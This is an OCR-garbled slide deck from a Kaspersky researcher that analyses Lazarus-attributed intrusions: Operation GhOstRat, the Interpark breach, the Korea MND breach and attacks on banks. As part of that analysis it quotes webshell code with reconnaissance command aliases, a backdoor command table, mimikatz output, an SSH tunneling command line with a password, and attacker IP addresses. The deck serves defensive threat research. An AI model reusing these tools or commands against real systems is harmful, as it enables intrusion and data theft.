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By Seongsu Park



GReAT

= Global Research and Analysis Tearm since 2 2008
= Threat intelligence, research and innovation leadership

= Focus: APTs, critical infrastructure threats, banking threats, sophisticated

targeted attacks
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Geopolitical issues
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North Korean Cyber Unit

North Korean Cyber Unit

Bureau 121
(North Korean Cyberwarfare) .
Hacking and Cyberwar
- infiltrate network

- Acquired confidential data y
- Spread malware .

2009 7.7 DDOS att
2011 GPS Jammin
2013 DarkSeoul
2013 Bluehouse'ha
2014 SPE haclgg

Bureau 91
Cyber army
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Bureau 31, 32
Psychological
warfare

Data investigation
Team

Hack political,
economical, social
org.

Technical Recon
Team
Hack Military Org.
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APT Attack Lifecycle

BKGD Initial Establish

research Attack foothold

Enable Enterprise
persistent recon

Intelligence Initial
Gathering Exploitation

Comfnand

and Control
Privilege
Data Escalation

Exfiltration

Maintain Exfiltrate

persistent data
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Operation GhOstRat
North Korean hackers stole US fighter

On May 2016, Korea two big
enterprises was BREACHED
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Operation GhOstRat
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‘/
o~
(

* When? |
= Published by police on June, 2016 [ }

\lr

* Confirmed Victim? =
= 10 subsidiary of Hanjin (inciuﬁ AN
= 17 subsidiary of SK group « —

= Attack was on-going from July, 2014

 Damage? _
= Totally more than 40K doEUme
= Blueprint of F-15 wings, UA

EN

& L Sa® S



Operation GhOstRat Initial Infection

 PMS(Patch Management System) Exploitation

/g Send command \
GhOst RAT&;IIH:" Ack r—s
gement

SErEl Scan specific port

Admin

Exploit PMS system

Download GhOst RAT t

ﬁ: ﬁ: i: Attacker
PC PC  PC
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Operation GhOstRat Command and Control

e GhOst RAT Variant
GhOst RAT 3.6 Beta

.00493880: 04 E8 00 ( 1 Oé O CMainFra

.00495E590: &D 65 00 ( 0 me password

.00493BA0: 47 &8 30 | 3 GhOst RAT Beta 3

.00493BE0: Z2E 36 00 ( 3 .6 S: %.2f kb/s

.00493BC0: 20 52 3A . 0 R: %.2f kb/s
e | it EE & EE;.I ERIERSE

000B2000: 4E 42 31 0 NELO Lrnul

'2  C:\GhostContoler

'E Cnpy of ghOst3.

5  6_src\ghOst\Rele
aSEHQhGSt pdh

000B2010: 43 3A 5C
000B2020: 5C 43 6F
000B2030: 36 5F 73
000B2040: &1 73 65

[ o TR (R R . S T |
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Operation GhOstRat

* Not just GhOst
pImk Portforwardmg

R
R
R
R
R
R
R
R
R
R
R
R0
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Privilege Escalation,

Webshell : Data exfiltration

=7 h

p

Sautﬁ_pass = "46eb65984383e4191a7042d06a0184e5";
fcolor = "#001F00";

$default_action = 'FilesMan';

Data Exfiltration

if(%os == 'win')
$aliases = array(
"List Directory" == "dir"
"Find index.php in Cerent dir" = "dir /s /w /b index.php",
"Find *config=.php in current dir" == "dir /s /w /b ~ conf1g .php",
"Show active connections" => "netstat -an"
"Show running services" == "net start™
"User accounts" == "net user",
"Show computers" => "net view",
P Table" => "arp -a",
. "IP Configuration" == "ipconfig /fall"
else
taliases = array(
"List dir" == "1s -1a",
"Tist fi1le attributes on a Linux second extended file system" => "lsatt

"show opened ports" == "netstat -an

d" = ")
"find all suid files" == "find /

C R EA'I rmm: Research

grep -1 listen"

-type f -perm -04000 -1s"

KASPER§KY$



Operation GhOstRat

Attacker
(NK Pyeongyang IP)
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PMS Server
PC

A
o B=w

PC
% Axh .
PMS Server P
PC

Company A @'

( .: R EA'I *  Global Research
& Analysis Team

Summary

Legitimate
server

C2 Server

Company B
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Interpark Breached

North Korea blamed for massive data breach affecting 10

South Korea blames North Korea for breac million internet shoppers
compromised 10M users

On July 2016, Korea big e-Commerce
Company was BREACHED

nterpark online shoppers.

Personal data of visitors to online shopping portal stolen, says South
Morth Korea launched a new cyber attack against the South, according to the Government of Seoul a Korea pﬂliCB.

massive data breach exposed data belonging to an Internet shopping mall.
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Interpark Breached

e When?

= Published by Interpark on July, 2016
= Attack was on-going from May, 2016

* Confirmed Victim? =
= Korea NO.1 e-Commerce njarjr;

 Damage? .
* =

= More than 10M customer data was

= Suffer damage to the compa imag
»

& sI:‘



Malware delivered to
victim(Lt2| AFRl.zip)
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Inform the incident to

National Police

t - R EA'I *  Global Research
& Analysis Team

Interpark Breached Timeline
MAY 2016 JUL 2016 AUG 2016
° ° ° ° ° °
May 3 July 11 July 25
Malware build Threat actor sent threat Officially announced the
email to Interpark CEO company is breached
May 3 July 12 August 31

Officially announced
investigation result

KASPER§KY$




Interpa rk Breached Intelligence gathering

OIS AEB0FS [J U0 8 OEEE | T Ase2E - ft = we
Phishing email SNAVER ]

» Threat actor sent phishing email to gather

portal ID/password

= Very similar with legitimate portal page

Fanzy

= Just gather login credential for information nagy Soans

gathering
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Interpa rk Breached Intelligence gathering

Gathering information from private portal service

LHAHIA 11

= Gather email conversation ORI
with other person e B vy
= Got reliable email sender

address from email box

= Gather personal data from private

cloud

= Steal family pictures for malware

creation

KASPER§KY$

20| DCC 2017



Interpark Breached Initial Exploitation

Send spear phishing email

To : Younger sister

= Disguise email sender address as brother Subject : Our never forget

hometown

= |mitate way of brother’s speaking Content :

= Email contents disguise as picture of our | made this since | was boring. It

. makes me choked up.
family

Attachment : Our family.zip

21| DCC 2017
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Interpark Breached

22| DCC 2017

22| 7&zip

My family.zip

22| tEsar

My family.scr

Slide show style
legitimate
screensaver
popup

to deceive user

/update

argument Mmsoia.exe

t - R EA'I *  Global Research
& Analysis Team

IAUTOSTART
argument

C2 server

ielowutil exe
1
1
1
1

KASPER§KY$



Interpark Breached Command and Control

Using SSL communication Backdoor Command

Sackdoor command Function
0x001D409AB14BF2C2 Collect system information
0x0055BED273ABAFES8 Load specific DLL and call export function
0X00C15AE87AD9D3C7 Create batch file and delete itself

0x0046066EA3EFAA03 Collect list of pre-defined file type in the “My
document” folder
*Pre-defined file list
MOv mmf mPg mpEG Wma avi Skm ra VoB
Mpe rM Ram mp4
Mp3 smi wmv wAv rmvb K3G midi mKv ac3
mpA mid aSf m3u
aAc

sescription: Handsh

v, a0 ses ackesen ansross. J 0x00B1A384AA1DCEE2 Checking virtual machine environment

0x00DAB6A579DC08624 List running processes
0x006FCD4196926244  List opened windows

0x0003302B8F643E65 Download iehmmapi.dll file
0x0098941588361A86 Load iehmmapi.dll file and call export function
0x002CF7FE8107F6A6 Terminate backdoor
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Interpark Breached Privilege Escalation

Lateral Movement

ﬁ% Remote "H"j Lateral

Desktop Movement
Initial File

Connect DB
server

i=a

Victim Server PC

Database
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Interpark Breached

| —

_ AR
Transit ’
Internet Café
another PC PC

M’ Collect

Database
DBA

PC
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(@

Database

( .: R EA'I * Global Research
& Analysis Team

C&C

server

Data Exfiltration
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Interpark Breached

t @
Cloud/Email

Attacker C&C

@ Phishing

AR

Backdoor

i-.

Victim
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Ay

h

File server

( .: R EA'I * Global Research
& Analysis Team

Summary

§—

N
Route host

v 1
ﬁ -
o

DBA Database
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Korean MND
Breach



Korea MND Breached
North Korea 'hacks South's military cyber

On Dec 2016, Korea Ministry of
National Defense was BREACHED

South Korea has announced that its military cyber-command appears to have been

breached by North Korea. It is not clear whether low-grade documents or more important
i etails like war plans were accessed.




Korean MIND Breached

e When?

= Published by S.Korea MND on Dec, 2016
= Attack was on-going from Aug, 2016

e Confirmed Victim? g

= Lots of division of Korea rmjfta

° DamagE? .:::. — 7
= Not sure - .
= But MND published some?a'f
‘

»
& sI:‘



Korea MND Breached Timeline
AUG 2016 SEP 2016 OCT 2016
° ° ° ° o
August 4 September 25 October 12
Suspected initial MND composed joint JIT confirmed threat actor
intrusion investigation team and start inflated military intranet
to probe on this incident using by this server.
September 23 October 6
MND recognized intrusion JIT found a server in the IDC(DIDC)
to their military intranet used two LAN card for internet
and intranet illegally.
31| DCC2017 CREAT sipss
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Korea MND Breached How can | recognized the malware?

D: \20161117 samples\20161117 samples\ol E1 L\ juckeck.exe\jucheck.exe

D:\20161117 samples\20161117 samples\ 2l E{ Sil\ wuauctls.exe\wuauclts.exe
D:\20161117 samples\20161117 samples\ 2l E{ Sil\ NHCApi.exe\NHCApi.exe

D:\20161117 samples\20161117 samples\ 2l E{ Lil\
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NHCKeySafe.exe\NHCKeySafe.exe




Korea MND Breached Malware Cluster

seeondary

Type A Backdoor Type C Backdoor
33| DCC 2017 . KASPER§KY$




Korea MND Breached Privilege Escalation

* Mimikatz : Credential dumping
08x)0 Token mimikatz 2.0 alpha x86 (oe.eo) O EEEEE. mimikatz 2.0 a1pha (x
BE} release "Kiwi en C" (Jan 18 2016 10:33:24)0 .## M #F, 0O & / \ # /= = %
## N\ / ## Benjamn DELPY RGEuaRl<i RN benjamin@gent11k1w1 com )0 "## v ##'
ttp://blog.gent1 1w1.c0m§mimikat2 (oe.eo)d '##EHE
with %2u modules *= * */00 Omimikatz(commandline) # ¥ * Network scanner

if [ arge < 2 )

("+++ TargetIP TargetPort commandType argl arg2 arg3’r\n");
("+++ AtSendFile calc.exe /tmp/calc.tmphrin");
("+++ “\tGetFile /tmp/calc.tmp c:\\temp\\calc.exe “rin");
("+++ AtScanhrin");
("+++ “tUpdate’rin");
("+++ A\tRun c:‘\\windows\\notepad.exe 1.txt system(administrator) \rin");
("+++ “tRestart “rwn");
("+++ AtServerUpdate “rin");
g return @;

* SSH tunneling tools b

day Sat Fri Thu Wed Tue Mon Sun SunMonTueWedThuFriSat: ¢ JanFebMara ErFa=JLnJL1ﬁ

ugSepOctNovDec echo g \kings'\msupdate.exe -P 80 -pw rootbacchus -N - .

R 8610:172.17.213.240:1433 acchus@laa_ 50.228.154 H Mailslot of Type C backdoor

MultipleEvents WSAEventSelect WSACreateEvent WSAStartup htons  inet_addr
socket connect \A\ovmailsTloth\~DF5  MONO_Init wh %.2X 255 127.0.0.
1 unknown %d.%d.%d  WSACleanup H
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Korea MND Breach Attribution

* File naming

File name S/W vendor in SK Function of S/W
hncupdate.exe Hancom Word processor
fasoo.exe Fasoo DRM S/W
markany.exe Markany DRM S/W
v3log.exe Ahnlab Anti-virus

« Language of Resource

™ Number of PE resources by language

KOREAN 1
ENGLISH US 1

i= PE resources

RT_WVERSION m | !
35| DCC 2017 489a60be4b95b8d430da355a0c124af82b35000bce Td1c09ead47544a1e RT_MANIFEST ENGLISH US I(ASPERSKYE




Global Bank
Attack



Global Bank Attack

On Feb 2017, Global bank
compromised by target attack

Attackers target dozens of global banks with new

malware

Watering hole attacks attempt to infect more than 100 organizations in 31 different countries.
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Global Bank Attack
e When?

* Confirmed Victim? -
= Lots of bank around world;g/}-fff‘_.,

 Damage?

= | have ho idea



Global Bank Attack

* Connection with SPE hacking

loc_40811D3:

mov al, [esi]

mov cl, al

and cl, OFh

shr al, 4

add cl, al

add byte ptr [ebp+arg_0+3], cl

inc esi

lea eax, [editesi]
eax, edx
short loc_ 4011D3

uw

a9025jhdho39ehe db ’9025]hdh039&h52 @ ; DATA XREF: sub 401000+1Bio

ala2z3bdy5c6x7d db '1A22384y5C6x7D8w9E0vSF uGtHsIrJqulnMnNlePkQ]RlSthUfVeNchYbZa 1]
; DATA XREF: sub_481000+Cio

call esi ; GetProcAddress
mov edi, offset alamsorry@l2345 ; "iamsorry!@1234567"

mov dword_4125C0, eax
Password [, o j i
push offset aEmcfgvrxcBitav ; "!emCFgv7XcB8ItaVGNeObMT™
call sub_401000
pop ecx

Global Research
& Analysis Team

CREAT

39| DCC 2017

Attribution

SPE Attack

loc_401923:

mov al, [ecx]

mov bl, al

and bl, @Fh

shr al, 4

add bl, al

ELL byte ptr [ebp+Str+3], bl

inc ecx

lea eax, [edx+ecx]
eax, edi
short loc_ 401923

a9025jhdho39%ehe db '9025jhdho39ehe2’, 1 .
ala2z3bdy5c6x7d db '1A2z3B4y5C6x7DEWIEAVSF_ uGtHsIrJqK nMnNmOIPkQ]RlSthUfVeNchYhZa 1]

call
mav
mov
push
push
call

pop

sub_48930BD+47T0
; DATA XREF: s

; DATA XREF:
esl ; GetProcAddress
edi, offset alamsorry@l2345 ; "iamsorry!@1234567"
dword_418B68, eax
edi ; Source
offset aEmcfgv7xcBitav ; "!emCFgv7Xc8ItaVGNObMT"
sub_481757
ecx

sub_401757+Cio

KASPER§KY$



Who Is Behind
These Attacks?



Who is behind? Interpark breached

[ebp-18n], 60h e - v - v . . .

ran g i Code Similarity

[ebp-15Sh], W0Eh 2 73

::::::::}: :‘t:: [ebpevar

[ebp-12h], ecON {::::::: » ‘ . .

(eop- 1) ' foopeva 1. 0 = Each malware has subroutine to acquire

[ebp-0Fh], 59n [edpevar }

ebp-0En], [ebpevar MR

EI‘SE :;‘f::i' eax, eopevar.€) DLL and API address
. gl s eax : 1pString?

[ebp-0bh), BMB1h
[ebp-0An], 98h offset byte 10005A5h ; l1pStringt
< esl 1strepyh

[ooe]. o eax, (ebprvar._28) = Malware has a APl name as hex value
[ebp /I: ocon rax s 1pString2
[ebp-6], 70N n':\rl b?l! 10005476 ; 1pStringt
[ebp-5], 3an s Istre “"
[e0p-41. 67 m, fobproar el s = Each character store to the stack at the
e it Lo offset bylvjllll"»oﬂh : 1pStringt
esi Istr )n -
[ebpevar_2€], 0 runtime
eax, [edbpeLibFileNane)
eax 3 1pLibF L leNane
[ebpeLibFileMane ), 681 . .
byte ptr (evpreac-s1cal, {Sv Boly = Decrypt it and retrieve API address
::: . [ebpevar 35]), 6EM
» OTw svar_In), 65h
short loc_W0920R }:::,U‘,, .“:' ach
[ebpevar_32), 330
[ebpevar 31], a2n
[ebpevar_30], 2En
eax, [ebp-61Ch) [ebpevar 2F]), 64N
: 1pLADF i leMane [ebpevar_2E], 6Ch
LA aryh [ebpevar ]. 6Ch
edi, ecax ds:loadl ibraryn
esl

Interpark Malware "™ SPE malware
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Who is behind?

Lazarus APT Group

________________

--4---

92.42.54.184

42| DCC 2017

rith

Variant of Sony Pictures Entertainment Malware

Interpark breached

______ ey e gyt
|
1 |
o |
1 |
1 | |
—————— Tl
111 :
111 :
A\AA/ \ 4
220.132.191.110 202.137.244.198

( .: R EA'I *  Global Research
& Analysis Team

4---=-=-=-=-=

190.185.124.125

KASPER§KY$



Who is behind?

* Oct 2015, Symantec published about Duuzer

Backdoor Activity in South Korea
* Breached company is in South Korea

*  We tracked this malware family named Wild

Positron

v Symantec Official Blog

Duuzer back door Trojan targets South Korea to take
over computers

Backdoor.Duuzer targets South Korean organizations to gain full control of computers. The
threat is linked to W32.Brambul and Backdoor.Joanap, which have also been affecting the
region.

Symantec Security Response [

260

43| DCC 20

CREAT

Interpark breached

Same Backdoor Command

= Malware used both incident has similar

backdoor command

= Windows command format is same

eax, [ebp-278h)
[ebp-4], ebx
eax

164n
ebx

dword ptr [ebp-1Ch]
[ebp-18h], ebx

ebx

dword ptr [ebp-20n)
duord_108EBE9S

ecx, [ebp-154h]
edx, [ebp-278nh]

ecx

ebx

offset akr

edx

dword_100EBEAN
dword ptr [ebp+i0h)
ecx

eax, [ebp-154h)
offset unk_100E0730
eax

offset unk_100E073%
ecx

offset aEC Skl
offset unk_100E06ED
edx, [ebp-14D8h)

offset aCASxSSSS2S ; “cnlsxish s

edx 3 char »
i

esp, 20n

Global Ref OEES8BISON

& Analysio TR

push
xor

push
push
xor

push
pop

push
pop

call
lea

lea

push
push
push
push
call
push
pop

lea

push
push
push
push
push
push
lea

push
push
call

Interpark Malware juc,

edi
ebx, ebx
rax
1040

dword ptr [ebp-i]
ebx

dword ptr [ebp-0Ch]
dword_419FAC

ecx, [ebp-16Ch]
edx, [ebp-28hh]

ecx

ebx

offset unk_K1657C
edx

dword_41A010

dword ptr [ebp+8)
ecx

eax, [ebp-16Ch]
offset unk_N165C0
eax

(offset aEL+bBh) ;
ecx

offset aEC

offset aD_e H
edx, [ebp-208Ch])
offset aCaSxSSSS2S ;
edx ; char »

sonisccan Wild Positron(aka Duuzer)



Who is behind? Interpark breached

Spear phishing Blackmail to the CEO
o/l @ro - younger sister | H2Y Way of expression of email

e A B L
UX| RE HES! F~n

Our never forget hometown
Kkk~~

HajsiA 2E0 220 ~53
I made this since | was boring.~k

HE Al2}. . .
2 ALE: - » Whole email was written by Korean
HE 22

It's too delayed = Some Korean words in email body are

=

Why your reply is too late?

of ol A BIEP| £=2 only used in North Korea

0L20| F~ BEH T At =0{X|H K-S HCH= 2 HAISHIN L, NK expression SK expression In English

Keep in mind that if you keep delaying

It makes me choked up. k~~ =™Mo EBSke
| will upset. SN2 =E SHES 2 Generally
E ol o4l B reply

ZIF

22| 7}F.zip Our family.zip

44 pec 2017 GREAT e KASPER§KY$




Who is behind?

SpaSpe Malware Family

Similar code

WildPositron Malware Family

45| DCC 2017

2 C&C server

Interpark breached

Similar code

Interpark Breach Sony Pictures Entertainment Malware

Language

Lazarus APT Group

North Korea

GREAT e KASPER§KY$



Who is behind? Korea MND Breached

* Dynamic API loading

ACreateThread SACreateFileA  SAGetFileSize  SAlockFile SAWaitForSingleObjec
r SACreateSemaphoreA SACreateEventA SASetEvent 5SADeleteCriticalSection SARe " Obfuscated APl and DLL name

ACreateProcessa SAReadFile SATerminateProcess SATerminateThread SAGetWin

dto siclosesocket  SAIphlpapi.dll SAGetAdaptersInfo  SAGetPerAdapterInfo s Prepended “S?” characters
lTeaseContext SACryptEncrypt SACryptDestroykey 5-‘~Cr"},rptDe-::r"%pt SACryptCreat
A SAInternetConnectA SAHttpOpenRequestA SAInternetCloseHandle SAInternetse

 Malware PDB path using same trick

e:\Work\BackUp\2011\ \BackDoor\BsDIl-up\Release\BsDll.pdb
g:\VM_Share\Bs\Release\BsDlIl.pdb

g:\VM_Share\mail_attack\Bs\Release\BsDIl.pdb

Z:\ \Team_Project\[2012.6 ~]\HTTP Trojan
2.0\HttpDrOpper\Win32\Release\HttpSecurityProvider.pdb

Z:\ \Team_Project\[2012.6 ~]\HTTP Troy\HttpDrOpper\Win32\Release\HttpSecurityProvider.pdb
Z:\ \Team_Project\[2012.6 ~]\HTTP Troy\HttpDrOpper\Win32\Release\HttpSecurityProvider.pdb
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Who is behind? Korea MIND Breached

* Decryption routine

loc_403F70: loc 404130:

loc_403F70: 8A 1C 37 mov bl, [edi+esi] iCc 37 mov bl, [edi+esi]

mov bl, [editesi] 32 DA xor bl, dl DA xor bl, dl

xor bl, dl 32 D8 xor bl, al D8 xor bl, al

xor bl, al 32 D9 xor bl, cl D9 xor bl, cl

xor bl, <l 88 1E mov [esi], bl 1E mov [esi], bl

mov [esi], 8A D8 mov bl, al D8 mov bl, al

mov bl, al 32 D9 xor b1, ¢l D9 xor b1, ¢l

xor b1, el 22 DA and bl, dl 22 DA and bl, d

2 Pl 8A DO mov dl, al 8A DO mov dl, al

noy ai 22 D1 and dl, cl 22 D1 and dl, cl

::r 31 32 DA xor bl, dl 32 DA xor bl, dl
24 10 T g [esp+i8h+var_8] 8B 54 24 10 mov edx, [esp+ +var_8] 8B 54 24 20 mov edx, [esp+iOh+arg C] loc 415455:

nov 1 8A CB mov cl, bl 8A CB mov cl, bl oL bl, [editesi]
D5 00 00 60 80  lea X, ds:6[edx*8] 8D 1C D5 00 00 00 00  lea ebx, ds:0[edx*8] 8D 1C D5 00 00 60 90  1lea ebx, [edx*8] el e

xor 33 DA xor ebx, edx 33 DA xor ebx, I bl al
F8 67 00 60 and 7E8} 81 E3 F8 07 00 00 and 81 E3 F8 07 00 00 and ebx, =
14 shl | c1 E3 14 shl c1 E3 14 shl ebx, 14 Lty b1, ¢l
08 shr 8 C1 EA 08 shr C1 EA 08 shr edx, Lo [axd] gl

or 0B D3 or 08 D3 or » ebx = B G
00 lea [eax+eax] 8D 1C 00 lea 8D 1C 00 lea , [eax+eax] Xor; bl Sel

xar eax 33 D8 xor 33 D8 xor abx, eax and bl, dl
04 shl 4 C1 E3 04 shl C1 E3 04 shl ebx, mov a1, al

xor eax 33 D8 xor 33 D8 xor ebx, eax and dl, cl

mov eax ) 8B E8 mov 8B E8 mov ebp, eax xor bl, dl ) R
£g and OFFFFFFaet 83 E3 80 and 83 E3 80 and f mov edx, [esp+iChevar_C]
& aht . 1 E5 07 shl 1 E5 07 shl p, oy cl, bl
0 = B 33 DD xor 0 33 DD xor ebx, ebp mov
og =rr 5 €1 E3 11 shl ebx, €1 E3 11 shl ebx,

or ebx C1 E8 08 shr eax, C1 ES 08 shr eax,

ine ; 0B C3 or eax, ebx eax, ebx
24 14 01 sub Shevar 4], 1 46 inc
24 10 — [esp+iBh+var 8], edx 83 6C 24 14 01 sub [esp+iBhevar_4], 24 24 01 +arg 10],

jnz short loc_483F70 89 54 24 10 mov [esp+ +var_8], edx 89 54 24 20 mov [esp+ +arg C], edx

short loc 403F70 short loc_ 404130

Ministry of National Defense Malware DarkSeoul Variant Malware
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Who is behind? Korea MND Breached

o

MND Breach Backdoor Type A

Defense Industry Compromise

Similar decryption routine | i Same obfuscation method

% % B

Darkseoul variant Operation GhostRat Operation BlackMine Operation 1Mission Operation NStar

@ C&C Infrastructure Overlap

Same malware structure

‘%?"

@ Same encryption method Darkseoul Cyber Attack Lazarus APT group
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Who is behind? Summary

_________________________________________

A

Interpark Breach Bank attack

oo <§i£n_ilgrcode f__________j ' . . 00 e

]
\
SPE hacking ' ANraerE] .
' |m———m——m -
]
]

Operation BlackMine

. > %O ceef—> QO

Operation GhOstRat Darkseoul attack

Simildr code
Iﬂ" Korea MND Breach
wildPositron {  L______ > 00 —— -
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Lazarus? Who is them?

The targets of the Lazarus Group

The most affected regions and countries by the Lazarus group malware

Lazarus is state-sponsored attack group
But not well funded ®

Very activate and expand their target!

=L ”
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Ambiguous Boundary Cyber espionage vs Cyber crime

National proflt Financial profit = |nterpark breach

= Financial profit and financial profit Global bank attack

= Exploit = Exploit = Exploit
TTPs
Backdoor + @ =" Trojan, Ransomware = Trojan, Backdoor
= Any enterprise » Unspecified individual = ® Interpark breach
Target
/ organization / company = Global bank attack
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Ambiguous Boundary

FoFl Targeted Ransomware No Longer a Future Threat - Intel Security
vww.intelsecurity.com/.__fAnalysis_SamSa_Ransomware. pdf = O| H| 0| X| B 5} 7|

Targeted Ransomware. Mo Longer a Future Threat. Analysis of a targeted and manual ransemware
campaign. February 2016. By Christiaan Beek and Andrew ...

Targeted Ransomware Attacks Middle Eastern Government ...

researchcenter.paloaltonetworks.com » Unit 42 = O] H 0| X| HEHEL7|
13A]ZF 7 - Recently, Unit 42 has observed attacks against multiple Middle Eastern government
organizations using a previously unseen ransomware ...

Samsam may signal a new trend of targeted ransomware | Symantec ...
hitps://www.symantec.com/.../samsam-may-signal-new-trend-targ... « 0| H| 0| X| Bl =517
2016. 4.5 - A new crypto-ransomware variant may indicate a shift towards targeting businesses with
malware that encrypts their files.

Ransomware Getting More Targeted. Expensive — Krebs on Security
hitps://krebsonsecurity.com/.. /ransomware-getting-more-targeted... v O] I 0| X| g5} 7|
2016. 9. 15. - In an alert published teday, the U.S. Federal Bureau of Investigation (FBI) warned that
recent ransomware variants have targeted and ...

[PDF) Targeted Ransomware The Next Evolutmn in...-The Crypsus Group

Cyber espionage vs Cyber crime
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Ambiguous Boundary Cyber espionage vs Cyber crime

This line is disappearing

Nation-states /

ith unlimited budge
&

Cyber-crime gangs,

Nation-states
with unlimited
budgets

Cyber-crime gangs,

financially motivated
financially motivated
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Conclusion

* They are getting close

7 % -

to each others

* No points in
distinguishing
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seongsu.park@kaspersky.com

Global Research and Analysis Team
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